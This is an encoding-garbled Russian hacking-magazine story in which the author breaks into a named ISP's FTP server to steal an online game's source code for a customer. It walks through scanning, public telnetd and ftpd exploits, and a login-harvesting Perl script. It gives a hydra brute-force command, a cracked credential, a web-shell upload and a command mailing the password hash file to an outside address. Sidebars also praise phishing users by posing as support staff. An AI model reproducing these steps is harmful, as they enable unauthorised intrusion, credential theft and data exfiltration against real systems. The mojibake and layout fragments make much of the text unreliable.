ÄÀ ÇÀÓÂÀÆÀË ÍÅÈÇÂÅÑÒÍÎÃÎ ÂÇËÎÌÙÈÊÀ: ÏÐÎ-
ÍÈÊÍÓÒÜ Â VALVE È ÑÒßÍÓÒÜ ÒÀÊÓÞ ÖÅÍÍÓÞ ÈÃÐÓ
� ÝÒÎ ÄÅÉÑÒÂÈÒÅËÜÍÎ ÂÛÑØÈÉ ÏÈËÎÒÀÆ. Â ÒÎÒ
ÌÎÌÅÍÒ ß ÅÙÅ È ÏÐÅÄÏÎËÎÆÈÒÜ ÍÅ ÌÎÃ, ×ÒÎ ÌÍÅ
ÏÐÈÄÅÒÑß ÎÊÀÇÀÒÜÑß Â ÅÃÎ ØÊÓÐÅ È ÏÎÕÈÒÈÒÜ
ÑÎÐÖÛ ÎÄÍÎÉ ÈÇ ËÓ×ØÅÉ ÎÍËÀÉÍ RPG ÍÀØÈÕ
ÄÍÅÉ | Àëåêñàíäð Ëþáèìîâ aka Sashiks ( real_sshx@mail.ru )

[briefing] Êàê-òî íî÷üþ, êîãäà ÿ ïî îáûêíîâåíèþ ñèäåë â IRC, êî ìíå â ïðè-
âàò ïîñòó÷àë îäèí èç ïîñòîÿëüöåâ êàíàëà. Ïàðåíü ïîïðîñèë ïîìî÷ü, äàë
ññûëêó íà ðåñóðñ http://ftp.abs.net è ïîâåäàë ìíå çàõâàòûâàþùóþ èñòîðèþ.
Îêàçàëîñü, ÷òî îí ñîáèðàåò îíëàéí èãðóøêè äëÿ ñâîåãî ëîêàëüíîãî ñåòåâî-
ãî èãðîâîãî ñåðâåðà, ýòî åãî õîááè. Íî ïðîáëåìà â òîì, ÷òî îí óæå áîëüøå
ïîëóãîäà ïûòàåòñÿ çàïîëó÷èòü èñõîäíèêè îäíîé î÷åíü ïîïóëÿðíîé Online
RPG (ÿ óìûøëåííî íå áóäó óïîìèíàòü åå íàçâàíèå èç ëè÷íûõ ñîîáðàæå-
íèé). Â èíòåðíåòå åå ñîðöû íàéòè íåâîçìîæíî, íî ìîé ñîáåñåäíèê ñîîáùèë
ìíå ïî ñåêðåòó, ÷òî íå òàê äàâíî èãðà áûëà âçëîìàíà, è õàêåðû óñïåëè ïî-
õèòèòü äðàãîöåííûé source-êîä. Âñåãî áûëî ñäåëàíî íåñêîëüêî êîïèé öåí-
íîãî èñõîäíèêà, â ñïåøêå àðõèâû ñ íèì áûëè ðàçáðîñàíû íà ðàçíûå ftp-
ñåðâåðû ïî âñåìó ìèðó, ãäå è õðàíèëèñü íåêîòîðîå âðåìÿ. Íî êîãäà ê èñ-
õîäíèêàì çàõîòåëè îáðàòèòüñÿ, îêàçàëîñü, ÷òî ftp-õðàíèëèùà â äàóíå è
öåííûé ãðóç èñ÷åç âìåñòå ñ íèìè.
Âî âñåé Ñåòè îñòàëàñü ëèøü îäíà ìàøèíà, íà êîòîðîé äî ñèõ ïîð â íåòðî-
íóòîì âèäå ëåæàò çàâåòíûå êîäû ýòîé îíëàéíîâîé èãðóøêè. Ïðè÷åì, êàê ÿ
âûÿñíèë ïîçæå, âëàäåëüöû õîñòà íå çíàëè, êàêîé öåííûé ãðóç çàëèëè èì â
upload. Ñîáñòâåííî, ìíå è ïðåäñòîÿëî, êàêèì óãîäíî ñïîñîáîì, ïðîáðàòüñÿ
íà ftp.abs.net, ïîëó÷èòü äîñòóï ê ñèñòåìå è ñëèòü èñõîäíûå êîäû � íè áîëü-
øå íè ìåíüøå. Â òîì ñëó÷àå, åñëè ÿ äîñòàâëþ çàêàç÷èêó êîäû, îí ñîáèðà-
åò èãðó è îáúÿñíÿåò, êàê ïðèâåñòè åå â ðàáî÷åå ñîñòîÿíèå. Êðîìå òîãî, îí
ïðåäîñòàâèë ìíå íà âðåìÿ âçëîìà ðóòîâûé øåëë íà ìîùíîé ïëîùàäêå. Îá-
ãîâîðèâ âñå óñëîâèÿ, ÿ ïîëó÷èë àäðåñà äâóõ ñåðâåðîâ (îñíîâíîãî è ïî÷òî-
âîãî), ñïèñîê ïîòåíöèàëüíûõ ôàéëîâ, êîòîðûå ìîãëè îòíîñèòüñÿ ê èãðóøêå
è îäíî åäèíñòâåííîå çàäàíèå � ëþáîé öåíîé óêðàñòü èñõîäíèêè.

[âíåøíèé ïåðèìåòð] Ïîëó÷èâ äàííûå î öåëåâûõ ìàøèíàõ, ÿ ïðèñòóïèë
ê àêòèâíûì äåéñòâèÿì. Ïåðâûì äåëîì ÿ çàâàëèëñÿ íà âûäàííûé ìíå ðóò-
øåëë è ïðîñêàíèðîâàë æåðòâó nmap'îì:

$ nmap -sV -F ftp.abs.net 

Ïî 113 ïîðòó (identd) è 22 (áàííåð ssh) âûÿñíèëîñü (äàæå áåç ôëàãà -O), ÷òî
ñèñòåìà êðóòèòñÿ ïîä FreeBSD. Ýòî íå î÷åíü ìåíÿ îáðàäîâàëî, ÷åñòíî ãî-
âîðÿ. Íà ìàøèíå åùå âèñåë äåìîí, îòâå÷àþùèé çà NFS ïîäêëþ÷åíèÿ.
Ñòðóêòóðó NFS ÿ ïðîñìîòðåë ñëåäóþùèì îáðàçîì:

$ showmount -a ftp.abs.net
All mount points on ftp.abs.net:
207.114.0.71:/guest
mail1.abs.net:/guest
reload.charm.net:/guest

Çäåñü ÿ âèæó èìåíà ìàøèí è êàòàëîãè, êîòîðûå îíè ìîíòèðóþò (òî÷êà ìîí-
òèðîâàíèÿ îáû÷íî ñîâïàäàåò ñ èìåíåì êàòàëîãà). Òàêèì îáðàçîì, ÿ óâèäåë,
÷òî, êàê ìèíèìóì, òðè êîìïà ýêñïîðòèðóþò /guest êàòàëîã ñ îñíîâíîé ìàøè-
íû. Íî êðîìå mail1.abs.net (ìûëüíûé ñåðâàíò) íè îäíà èç òà÷åê íå îòâå÷à-
ëà íà ïèíãè, ïîýòîìó áóäåì ñ÷èòàòü èõ ìåðòâûìè. Âûïîëíèâ showmount -e
ftp.abs.net, ÿ ïîëó÷èë ñïèñîê ôàéëîâûõ ñèñòåì è õîñòîâ, êîòîðûå èìåþò
ïðàâî èõ ìàóíòèòü:

/guest 207.114.0.132 207.114.0.75

Óãíàííûå ññîðöû

Äîêóìåíòèðîâàííàÿ èñòîðèÿ
ïîõèùåíèÿ èñõîäíûõ êîäîâ Online-RPG

Þ
Í

È
Ò

Û
Ê

Ð
Å

À
Ò

È
Ô

Ô
Ê

Î
Ä

È
Í

Ã
U

N
IX

O
ID

Ñ
Ö

Å
Í

À
[Â

Ç
Ë

Î
Ì

]
È

Ì
Ï

Ë
À

Í
Ò

P
C

_
Z

O
N

E
Í

Ü
Þ

Ñ
Û

F
E

R
R

U
M

Stealing

Íà íàøåì äèñêå 
òû íàéäåøü ïîëíûå 
âåðñèè ïðîãðàìì,
îïèñàííûõ â ýòîé ñòàòüå.

Ê ñîæàëåíèþ, ÿ íå ìîãó
ñêàçàòü òåáå, ñîðöû êàêîé
èìåííî ÐÏÃ'øêè ÿ ïîçàèì-
ñòâîâàë. Îäíàêî ñìåþ çàâå-
ðèòü òåáÿ: êàæäûé õîòü ðàç
â æèçíè ñëûøàë î íåé, 
à êàæäûé äåñÿòûé � èãðàë.
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Ëàäíî, ïîåõàëè äàëüøå � ïîñìîòðèì, ÷òî òàì èíòåðåñíîãî íàïèñàë nmap ïðî ñåðâåð.
×òî ìåíÿ äåéñòâèòåëüíî óäèâèëî ïðè ïðîñìîòðå áàííåðîâ, òàê ýòî òî, ÷òî íà îñíîâíîé
ìàøèíå (ftp.abs.net) áûë çàïóùåí telnetd, ÷òî, â îáùåì-òî, ñòðàííî, âåäü ïðàêòè÷åñêè
âñå ïåðåøëè óæå äàâíî íà áåçîïàñíûé ssh. ß âñïîìíèë ïðî telnetd ñïëîèò îò TESO, ïî-
ðàæàþùèé äåìîí íà FreeBSD 4.X è NetBSD. Ñêà÷àâ ñåáå èñõîäíèê (www.packetstorm-
security.org/0109-exploits/7350854.c) è ñîáðàâ åãî, ÿ íàòðàâèë îòìû÷êó íà ftp. Ê ñëîâó,
áèíàðíèê æåëàòåëüíî çàïóñêàòü íà ìàøèíå ñ áûñòðûì êàíàëîì � äëÿ ïîëíîöåííîãî
ýêñïëóàòèðîâàíèÿ îí îòñûëàåò öåëåâîìó äåìîíó 16 Mb òðàôèêà, ÷òî ñàìî ïî ñåáå íå
ìàëî è íà òîðìîçíóòîì äèàëàïå ìîæåò çàíÿòü íåñêîëüêî ÷àñîâ.
Îòïðàâèâ íóæíûé îáúåì äàííûõ, ñïëîèò óìîëê � âèäèìî, ÷òî-òî ïîøëî íå òàê. ß ïîï-
ðîáîâàë çàïóñòèòü åãî åùå ðàç � ýôôåêòà íå ïîñëåäîâàëî. Äàëåå ÿ çàëîãèíèëñÿ ïîä
àíîíèìîì íà ftp-óçåë. Ïàïîê â õðàíèëèùå áûëî ìíîãî, à íåîáõîäèìûå ìíå ôàéëû ëåæà-
ëè â incoming. Òàê áëèçêî è òàê äàëåêî îäíîâðåìåííî.
Âñå äåëî â òîì, ÷òî àïëîàä â incoming, êàê è ïîëîæåíî, ðàçðåøàëñÿ âñåì, íî ñêà÷èâàòü

ôàéëû îòòóäà áûëî íåëüçÿ. Òî åñòü, åñëè òû çàëèë òóäà èíôó,
îáðàòíî âûäðàòü îòòóäà åå íå ñìîæåøü (èìåííî ïîýòîìó äîñ-
òàòü èñõîäíèêè èçâíå áûëî íåâîçìîæíî). È ãäå-òî ñðåäè âñå-
ãî ìóñîðà â incoming ëåæàëè êóñêè êîäà èãðóøêè, êîòîðûå
ìíå, ñîáñòâåííî, è ïðåäñòîÿëî äîñòàòü. Ìíå ïðèøëà èäåÿ
âîñïîëüçîâàòüñÿ äðóãîé îòìû÷êîé, íà ýòîò ðàç ïîä áàã â ftpd
(www.web-hack.ru/exploit/source/turkey2.c), áëàãî àíîíèìíûé
äîñòóï íà ôòï áûë, è çàïèñü â incoming áûëà ðàçðåøåíà.
Íî ýòîò ñïëîèò, êàê ÿ è îæèäàë, íå ïðèíåñ íèêàêèõ ïîëîæèòåëü-
íûõ ðåçóëüòàòîâ. Çíà÷èò, òåïåðü ïðèøëî âðåìÿ èññëåäîâàòü
web. Ïðè çàõîäå íà ãëàâíóþ ñòðàíè÷êó ìåíÿ âñòðåòèë ìðà÷íûì
òîíîì äèçàéí (õîòÿ ñ äðóãîé ñòîðîíû íå ïîâåñÿò æå îíè áàííåð
ñî ñìàéëàìè è ëîçóíãîì «Ëîìàéòå íàñ!» :). Ñ ýíòóçèàçìîì ïî-
òûêàâ ïî ññûëêàì â ïîèñêàõ php/cgi ñêðèïòîâ, ÿ æåñòêî îáëî-
ìàëñÿ � âåñü êîíòåíò ñàéòà áûë âûïîëíåí â ÷èñòîì html.
Õîòÿ âñå æå íåìíîãî öåííîé èíôîðìàöèè î ñåðâåðå ÿ âûóäèë.
Îêàçûâàåòñÿ, ìàøèíà (è, ñîáñòâåííî, âñÿ ñåòü ñ ýòîé ìàñêîé)
ïðèíàäëåæàëà àìåðèêàíöàì. ABSnet ïðåäëàãàë óñëóãè øèðî-
êîïîëîñíîãî è ìîäåìíîãî äîñòóïà â èíòåðíåò, à òàêæå íåñ-
êîëüêî äðóãèõ ñåðâèñîâ. Ñðåäè íèõ � õîñòèíã ïîëüçîâàòåëüñ-
êèõ web-ñòðàíè÷åê. Ïðîñëåäîâàâ ïî ëèíêó, ÿ óâèäåë ñïèñîê
ïîëüçîâàòåëåé è èõ ñàéòîâ (www.abs.net/~user). Õîòÿ áûë è
ñâîé ïðèêîë � þçåðàì ðàçðåøàëîñü çàëèâàòü òîëüêî ñòðàíè-
öû ñ ðàñøèðåíèåì *.htm è *.html, òî åñòü ïîäðàçóìåâàëîñü, ÷òî
íèêàêèõ ñêðèïòîâ þçåðû âûïîëíÿòü íå ìîãëè. ß óæå äóìàë
ïëþíóòü íà ýòî äåëî è çàáûòü ïðî ÷åðòîâû èñõîäíèêè, íî ÷òî-
òî ìåíÿ ïîäòîëêíóëî èäòè äàëüøå. Ñóäè ñàì, åñëè åñòü þçåðñ-
êèå ñòðàíè÷êè, çíà÷èò, â ñèñòåìå ïðîïèñàí ñîîòâåòñòâóþùèé
àêêàóíò user (íå âàæíî, èìååò ëè îí sh èëè ïðîñòî ftp-äîñòóï).
Òî åñòü, åñëè ÿ ñîáåðó ñïèñîê âñåõ ïîëüçîâàòåëåé ñî ñòðàíè-
öû è çàïèøó èõ, òî ìîæíî ïîïûòàòüñÿ ïîäîáðàòü ïàðîëü îäíî-
ãî èç íèõ. ×òîáû íå âûäèðàòü ëîãèíû âðó÷íóþ, ÿ ñîõðàíèë âåá-
ñòðàíèöó ñåáå íà âèíò è íàïèñàë âîò òàêîé âîò ñêðèïò íà Perl:

[ñêðèïò äëÿ ñáîðà ñïèñêà ïîëüçîâàòåëåé]

#!/usr/bin/perl
open(FILE,$ARGV[0]);# $ARGV[0] â äàííîì ñëó÷àå ýòî
html-ñòðàíèöà ñ ëîãèíàìè.
while(<FILE>){
if($_=~m/www.abs.net\/\~/){
($a,$b)=split("~",$_);
($a,$b)=split("/",$b);
print "$a \n";}
}
close(FILE);

Êàê òîëüêî ñöåíàðèé âûâåë ìíå âñå ëîãèíû, ÿ çàïèñàë èõ è ïåðå-
íàïðàâèë íà ñâîé øåëë. Îñòàëîñü ïðèäóìàòü, êàêîé áû ñëîâàðü
çàþçàòü äëÿ ïåðåáîðà. È òóò ÿ âñïîìíèë ïðî ñëîâàðèê, êîòîðûé
ïðèëàãàåòñÿ ê Brutus'ó (www.web-hack.ru/download/info.php?go=12)
� ñàìîå îíî: íåáîëüøîé, íî âìåùàåò ñàìûå ÷àñòî óïîòðåáëÿå-
ìûå ñëîâà. Çàãðóæàåì ëþáèìóþ Ãèäðó, è âïåðåä:

$ hydra -L logins.txt -P brutus.txt -f -V -o log.txt abs.net ftp & 

Íà ýêðàíå áûñòðî çàìåëüêàëè ñòðî÷êè, ñâèäåòåëüñòâóþùèå 
î òîì, ÷òî ïðîöåññ ïîäáîðà èäåò óñïåøíî. Ìíå â ýòî âðåìÿ îñ-
òàâàëîñü òîëüêî æäàòü è íàäåÿòüñÿ. È ÷åðåç íåêîòîðîå âðåìÿ
çàâåòíàÿ êîìáèíàöèÿ âñå-òàêè ïîäîáðàëàñü: chriss:pizza.

[àòàêà íà WEB] Äåìîí ïóñòèë ìåíÿ íà ftp ïîä ñáðó÷åííûì
àêêàóíòîì. Â êàòàëîãå ëþáèòåëÿ ïèöö íå áûëî íè÷åãî èíòåðåñ-

ïåðâîå ïðåäóïðåæäåíèå: «ïîñòîðîííèì âõîä âîñïðåùåí, íàðóøèòåëè áóäóò íàêàçàíû»

ðàçâåäêà nmap'îì

íåäîñòóïíûé ftp

| ÍÍÅÏÐÈÑÒÓÏÍÀß FFREEBSD || 
Ê ñëîâó î çàáóãîðíûõ ñèñàäìèíàõ.  Êàê òû,
íàâåðíîå, çàìåòèë, îñíîâíàÿ ÷àñòü íàñå-
ëåíèÿ ñâîáîäíîãî êîíòèíåíòà íå îñîáî çà-
äóìûâàåòñÿ íàä ñëîæíîñòüþ ñâîèõ ïàðî-
ëåé. Èìåííî ïîýòîìó Äæîííèê òàê øóñòðî
ðàñêàëûâàåò õýøè àìåðèêàíñêèç þçâåðåé.
Äà, äåéñòâèòåëüíî, îò ñàêðàìåòíàëüíîãî
God, Love, Sex îíè îòó÷èëèñü, íî ïàññû íå

ñòàëè ñ òåõ âðåìåí íàìíîãî ñëîæíåå ;).
Êðîìå òîãî îíè äîâîëüíî íàèâíû, è åñëè
òû çíàåøü àíãëèéñêèé ÿçûê òî ñìåëî ìî-
æåøü ïðîáîâàòü ñåáÿ â ðîëè ñîöèàëüíîãî
èíæåíåðà. Ìîé çíàêîìûé Ðîáèí èç øòàòîâ
ðàçâîäèò ìíîãèõ þçåðîâ ñâîåãî ISP íà ïà-
ðîëè è äðóãóþ êîíôåäåíöèàëüíîþ èíôó,
ïðåäñòâëÿÿñü ëèáî ñèñàäìèíîì, ëèáî ñîò-
ðóäíèêîì ñëóæáû òåõïîääåðæêè. È ó íåãî

ýòî ïðåêðàñíî âûõîäèò! Ìåíüøå ÷åì çà
÷àñ îí ìîæåò ðàçâåñòè îêîëî 5 ÷åëîâåê.
Êîíå÷íî àìåðèêîñàì äî íåäîâåð÷èâûõ
ñëàâÿí åùå î÷åíü äàëåêî ;). Õîòÿ, ýòî íå
êàñàåòñÿ ñîòðóäíêèîâ IT ñôåðû. Àäìèíà
áóäåò î÷åíü òÿæåëî ðàçâåñòè, ïîòîìó ÷òî
ýòî ëþäè òâåðäî çíàþùèå ñâîå äåëî.
Âïðî÷åì, ó âñåõ ñâîè ñëàáîñòè, ïîýòîìó
íåò íè÷åãî íåâîçìîæíî â ýòîé æèçíè ;)



çàäóìàëñÿ è ïîñìîòðåë íà äàòó ôàéëà. Ïîñëåäíåå îáðàùåíèå ê íåìó äàòèðîâàëîñü 2000
ãîäîì, òî åñòü áîëüøå 4-õ ëåò íàçàä, à ïîýòîìó îñîáåííî íàäåÿòüñÿ íà ðàñøèôðîâêó ïàñ-
ñîâ íå ñòîèëî. Âûõîäèò, ÷òî ôàéë áûë áåñïîëåçíûì. È õîòÿ áîëüøå, ÷åì èç 2-õ òûñÿ÷ ó÷åò-
íûõ çàïèñåé, Ðèïïåð ðàñøèôðîâàë ïîëîâèíó, ïîëüçû íå áûëî íèêàêîé. Â äåéñòâèòåëüíîñ-
òè áîëüøå, ÷åì ïîëîâèíû þçåðîâ óæå íå áûëî, íî çàãâîçäêà áûëà äàæå íå â ýòîì. Îñíîâ-
íàÿ ïðîáëåìà çàêëþ÷àëàñü â òîì, ÷òî ÿ, êàê îáû÷íûé þçåð, íå èìåë ïðàâà äàæå ÷èòàòü
/ftp/incoming, ãäå, íàïîìíþ, õðàíèëèñü èñõîäíèêè, êîòîðûå áûëè ìíå íóæíû.
Åäèíñòâåííàÿ ãðóïïà ïîëüçîâàòåëåé, êîòîðàÿ èìåëà äîñòóï ê íóæíûì ìíå ôàéëàì, íàçû-
âàëàñü ftpgroup, íî ê íåé ïðèíàäëåæàëî âñåãî 5 ÷åëîâåê, è ÷òî áûëî ñàìîå ãðóñòíîå, �
îíè áûëè sudo'åðàìè. Ïî÷åìó ãðóñòíîå? Ïîòîìó ÷òî, âî-ïåðâûõ, èõ ïàðîëè äàæå â 4-õ ëåò-
íåì passwd íè â êàêóþ íå õîòåëè ðàñøèôðîâûâàòüñÿ (ÿ ïàðàëëåëüíî çàïóñòèë ïðîöåññ
íà íåñêîëüêèõ áûñòðûõ øåëëàõ), à âî-âòîðûõ, ýòè ëþäè ÿâíî áûëî íå ãëóïûå è ïîèìåòü
äîñòóï ê èõ ôàéëàì áûëî áû âåñüìà ïðîáëåìàòè÷íî. Äàëüíåéøèå ñêèòàíèÿ ïî ïàïêàì â
ïîèñêàõ êàêèõ-íèáóäü çàöåïîê íè ê ÷åìó òîëêîâîìó íå ïðèâåëè, è íà âðåìÿ ÿ ïðèçàäóìàë-
ñÿ. Ìíå ïî÷åìó-òî çàõîòåëîñü ïðîâåðèòü âàëèäíîñòü þçàåìîãî ìíîé àêêàóíòà íà âòîðîì,
ïî÷òîâîì ñåðâåðå. Ssh ïî÷åìó-òî íå ïðîêàòèë, íî íà ôòï ìåíÿ âñå-òàêè âïóñòèëè. Âîò òå-
ïåðü ÿ èìåë âîçìîæíîñòü ïðîñìàòðèâàòü äåðåâî êàòàëîãîâ îáåèõ ìàøèí. Ïåðåéäÿ â êî-
ðåíü ìýéë-ñåðâåðà, ÿ áûë íåìíîãî óäèâëåí � ñòðóêòóðà êàòàëîãîâ îáåèõ ìàøèí ïðàêòè-
÷åñêè áûëà èäåíòè÷íà! À ôèøêà áûëà âîò â ÷åì. Åùå â íà÷àëå ýòîãî âçëîìà, ñäåëàâ
showmount, ÿ óâèäåë ñïèñîê ìîíòèðîâàííûõ ñèñòåì, è ñðåäè íèõ áûëà /guest (ñ ïàïêàìè
îáû÷íûõ ïîëüçîâàòåëåé). Ïîëó÷àëîñü, ÷òî ïî÷òîâûé ñåðâåð ìîíòèðîâàë ñåáå ÷àñòü êàòà-
ëîãîâ ñ îñíîâíîé ìàøèíû. Ê ïðèìåðó, çàéäÿ â /usr/home, ÿ ìîã óâèäåòü ïðàêòè÷åñêè ïîë-
íîñòüþ ñîäåðæèìîå àäìèíñêèõ ïàïîê! Ñïèñêè ïîëüçîâàòåëåé áûëè òîæå èäåíòè÷íû, íî,
êàê âûÿñíèëîñü ïîçæå, íå âñå àêêàóíòû ñ îñíîâíîãî ñåðâåðà ïóñêàëè íà ïî÷òîâóþ ìàøè-

íîãî, òîëüêî ëèøü ñòàíäàðòíûå êîíôèãè. Ýòî çàñòàâèëî çàäó-
ìàòüñÿ � âîçìîæíî, óäàñòñÿ ïîäöåïèòüñÿ íà telnetd ïîä ýòèì
æå àêêàóíòîì. Íî íå òóò-òî áûëî � âìåñòî øåëëà ó Êðèñòîôå-
ðà ñòîÿë /bin/passwd. Âåðíóâøèñü íà ôòï ÿ çàìåòèë îäíó èíòå-
ðåñíóþ îñîáåííîñòü � ÿ ìîã ïîäíèìàòüñÿ íà ñêîëüêî óãîäíî
êàòàëîãîâ âûøå, òî åñòü ìíå áûëà äîñòóïíà äëÿ ïðîñìîòðà
âñÿ ôàéëîâàÿ ñèñòåìà ìàøèíû, à íå òîëüêî êàòàëîã chriss'a. ß
íà÷àë ïîòèõîíüêó èçó÷àòü ñîäåðæàíèå âèí÷åñòåðà, íî, ê ñîæà-
ëåíèþ, ñàìûå èíòåðåñíûå ïàïêè áûëè çàêðûòû äëÿ ïðîñìîò-
ðà. Çàòî /root ìîã ïðîñìîòðåòü êàæäûé, ÷òî áûëî, ìÿãêî ãîâî-
ðÿ, ñòðàííî. Âïðî÷åì, â ðóòîâñêîì êàòàëîãå íå áûëî íè÷åãî
òàêîãî, ÷òî ìîãëî áû ìíå ïîìî÷ü ïîëó÷èòü àêêàóíò â ñèñòåìå.
Ìîæíî ïîïðîáîâàòü çàëèòü øåëë (õîòÿ þçåðàì è çàïðåùàëîñü
àïëîàäèòü ôàéëû ñ ðàñøèðåíèåì, îòëè÷íûì îò *.html, ýòî åùå
íå îçíà÷àëî, ÷òî ñêðèïòû íå áóäóò âûïîëíÿòüñÿ). ß âèçóàëüíî
óáåäèëñÿ, ÷òî perl è php óñòàíîâëåíû è çàãðóçèë íà ñåðâåð
øåëë r57pws.pl. Íà âñÿêèé ñëó÷àé, ÿ ñîçäàë êàòàëîã cgi-bin (êàê
íàñòðîåí âåá-ñåðâåð òî÷íî ÿ íå çíàë) è, ïîñòàâèâ ñîîòâåòñòâó-
þùèå ïðàâà, ñêîïèðîâàë ñöåíàðèé â ýòó ïàïêó. Íî, îáðàòèâ-
øèñü áðàóçåðîì ê www.abs.net/~chriss/cgi-bin/r57pws.pl, ÿ óâè-
äåë òîëüêî èñõîäíûé òåêñò ñöåíàðèÿ. Íå ïîìîãëî äàæå ïåðåè-
ìåíîâàíèå *.pl â *.cgi. Íà ñàìîì äåëå â ýòîì íå áûëî íè÷åãî
óäèâèòåëüíîãî è ìàëî ìåíÿ ðàññòðîèëî, ÿ ðåøèë ïîïðîáîâàòü
ïðîâåðíóòü òîæå ñàìîå äëÿ php, íî îïÿòü îáëîìàëñÿ :(.
ß ïðèçàäóìàëñÿ. Òåïåðü âñå, ÷òî ìíå îñòàâàëîñü � áðîäèòü ïî
òîé ÷àñòè ôàéëîâîé ñèñòåìû, ê êîòîðîé ÿ èìåþ äîñòóï. Ïîñìîò-
ðåâ /etc/passwd ÿ ïîíÿë, ÷òî â ñèñòåìå ïîðÿäî÷íîå êîëè÷åñòâî
ïîëüçîâàòåëåé, è ïîýòîìó ðåøåíî áûëî îïÿòü çàíÿòüñÿ ïåðåáî-
ðîì ïàðîëåé. Íà ýòîò ðàç ìíå íóæíû áûëè àêêàóíòû òîëüêî ñ âà-
ëèäíûì øåëëîì. Â Ñåòè î÷åíü ìíîãî óòèëèò äëÿ âûäèðàíèÿ è çà-
ïèñè â ôàéë ëîãèíîâ èç passwd, ïîýòîìó ïðîáëåìû â âûáîðå íå
áûëî (ÿ þçàë combo.pl). Ïîëó÷èâ ñïèñîê ëîãèíîâ, ÿ ñêîðìèë åãî
ãèäðå è ðåøèë áðóòèòü telnetd (èíîãäà ïàðîëè äëÿ ëîãèíà íà ftp è
telnet/ssh ìîãóò ðàçëè÷àòüñÿ). Îòîðâàâøèñü äëÿ íåáîëüøîãî ïåðå-
êóðà, ÿ îòîøåë îò êîìïà. Êîãäà ÿ âåðíóëñÿ, ïåðåáîð âñå åùå ïðî-
äîëæàëñÿ, ÷òî, ñîáñòâåííî, íå ñèëüíî ðàäîâàëî. Íî âíåçàïíî ãîñ-
ïîæà Óäà÷à óëûáíóëàñü ìíå, è ÿ ïîëó÷èë ðàáî÷èé ëîãèí îäíîãî èç
þçåðîâ ñ äîñòóïîì ê bash. Ïåðâûé øàã ê âçëîìó áûë ñäåëàí.

[áëèçíåöû] ß ðåøèë âûÿñíèòü, ðàáîòàåò ëè ñåé÷àñ â ñèñòåìå
êòî-òî, êðîìå ìåíÿ. Óòèëèòà who ïîêàçàëà, ÷òî ÿ ñåé÷àñ òîëüêî
îäèí, è ìîæíî áûëî ñïîêîéíî ïðîäîëæàòü èññëåäîâàíèå ìàøè-
íû áåç îïàñêè áûòü çàìå÷åííûì. Íà òà÷êå áûëà óñòàíîâëåíà
FreeBSD 4.11, ïîýòîìó âàðèàíò ïîäíÿòü ïðàâà ëîêàëüíî ñ ïî-
ìîùüþ ñïëîèòà îòïàäàë ñðàçó æå, òàê êàê â ïàáëèêå íèêàêèõ
ïîäõîäÿùèé ñïëîèòîâ íå áûëî, à âçÿòü ïðèâàòíûé ñòàôô ó ìå-
íÿ íå áûëî âîçìîæíîñòè. Åñëè òû ïîìíèøü, òî õýøèðîâàíûå
ïàðîëè â BSD ëåæàò â ôàéëå master.passwd, êîòîðûé, åñòåñò-
âåííî, äîñòóïåí òîëüêî root'ó. Íî èíîãäà àäìèíèñòðàòîðû êîïè-
ðóþò õýøè â ñâîé äîìàøíèé êàòàëîã, ÷òîáû ïðàâèòü, ëèáî äåëà-
þò ãäå-íèáóäü íà âèíòå çàïàñíóþ êîïèþ, ÷òîáû (õîòÿ áû ÷àñòè÷-
íî) âîññòàíîâèòü ôàéë ïîñëå ñáîÿ. ß âûïîëíèë locate
master.passwd è óâèäåë äîñòóïíûé äëÿ ÷òåíèÿ ôàéë â ïàïêå
þçåðà willlie. Ñóäÿ ïî âñåìó, ýòî áûë îäèí èç ÷ëåíîâ îáñëóæèâà-
þùåãî ïåðñîíàëà, ïîòîìó ÷òî êàòàëîãè îáû÷íûõ íåïðèâèëåãè-
ðîâàííûõ þçåðîâ (êîòîðûì â äàííûé ìîìåíò ÿ è áûë) íàõîäè-
ëèñü â /guest/1-àÿ_áóêâà_ëîãèíà/ëîãèí, ÷òî â ïðèíöèïå ñòàíäà-
ðòíî äëÿ áîëüøèíñòâà ñåðâåðîâ, êîòîðûå õîñòÿò ïîëüçîâà-
òåëüñêèå ñàéòû. ß îáðàäîâàëñÿ ïîäîáíîé íàõîäêå, è äëÿ äàëü-
íåéøåãî èññëåäîâàíèÿ ïàðîëåé âûïîëíèë êîìàíäó cat
/path/to/master.passwd | mail pituhi@mail.ru è ïðîâåðèë ïî÷òó.
Äîëãî æäàòü íå ïðèøëîñü � â ÿùèê ñðàçó æå ñâàëèëîñü ïèñü-
ìî ñ õýøàìè þçâåðåé! Ñêîðìèâ ôàéë Ðèïïåðó, ÿ íåìíîãî ïðè-

àäìèíñêèå ñåêðåòû

èçó÷åíèå ñâîéñòâ NFS

| ÍÍÅÌÍÎÃÎ ÎÎÁ ÝÝÒÈÕ ÑÑÀÌÛÕ
«ÝÊÑÏËÎÉÒÀÕ» || 
Íå ñåêðåò ÷òî â ñåòè  íà ìíîãèõ ñåêüþðè-
òè-ñàéòàõ òû ìîæåøü íàéòè òóåâó õó÷ó
ýêñïëîéòîâ ïîä ðàçëè÷íûå ñåðâèñû è äå-
ìîíû. Ëè÷íî ÿ äóìàþ, ÷òî áîëüøèíñòâî èç
íèõ óìåðëè. Íå ïîòîìó, ÷òî êîä êðèâîé
èëè èñïîð÷åí, à ïîòîìó, ÷òî áîëüøèíñòâî
óÿçâèìîñòåé, êîòîðûå îíè ýêñïëóàòèðóþò,

áåçâîçâðàòíî óñòàðåëè è ïðàêòè÷åñêîãî
ïðèìåíåíèÿ èì íàéòè äîâîëüíî ñëîæíî.
Èìåííî ïîýòîìó ÿ âñåãäà îòíîñèëñÿ ê íèì
äîâîëüíî ñêåïòè÷åñêè (íå êî âñåì ). Ó÷è-
òûâàÿ íûíåøíèå òåìïû ðàçðàáîò÷èêîâ,
ìîæíî ñêàçàòü, ÷òî óäà÷íîå ýêñïëóàòè-
ðîâàíèå ñèñòåìû ñ ïîìîùüþ ïàáëèê
ýêñïëîéòà ýòî ñêîðåå èñêëþ÷åíèå, ÷åì
ïðàâèëî. Õîòÿ è â ñàìîì äåëå ñóùåñòâóþò

íåêîòîðûå óíèêàëüíûå òóëçû ( âèíäîâûå
Kaht.c, lsass.c, RPC Scan ), êîòîðûå áûëè 
è áóäóò àêòóàëüíû äîñòàòî÷íî äîëãî.
Âïðî÷åì âñå âûøåñêàçàííîå íå îòíî-
ñèòüñÿ ê ýêñïëîéòàì äëÿ óÿçâèìûõ âåá-
ñêðèïòîâ ( ôîðóìû, ãîñòåâûå, ãàëåðåè,
è ò.ä) è ÿâëÿåòñÿ ñóãóáî ìîèì ëè÷íûì
ìíåíèåì. Ñîãëàøàòüñÿ ñ íèì èëè íåò
� ðåøàòü òîëüêî òåáå.
